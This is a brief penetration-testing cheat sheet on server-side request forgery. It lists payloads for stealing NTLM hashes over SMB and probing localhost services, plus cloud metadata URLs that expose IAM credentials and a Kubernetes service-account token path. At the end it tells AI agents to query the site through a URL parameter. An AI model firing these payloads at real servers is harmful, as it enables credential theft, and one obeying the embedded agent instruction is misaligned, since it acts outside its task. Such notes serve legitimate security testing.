# SSRF

If you've determined you can control server side requests, there are many things to ALWAYS check.

If it's a windows box, you may be able to steal NTLM hashes with `file://///10.1.1.1/smb/file.txt`. This does require FIVE FORWARD SLASHES sometimes!

Check for any other internal service which may be open on localhost only.

```bash
ftp://localhost
http://localhost:8000
http://localhost:8080
```

Try to find internal secrets or instance metadata!

```
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data
/var/run/secrets/kubernetes.io/serviceaccount/token
```

Check for any restricted pages which may show additional information to the server

```bash
http://localhost/.htpasswd
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.m4lwhere.org/offensive/web-exploits/ssrf.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
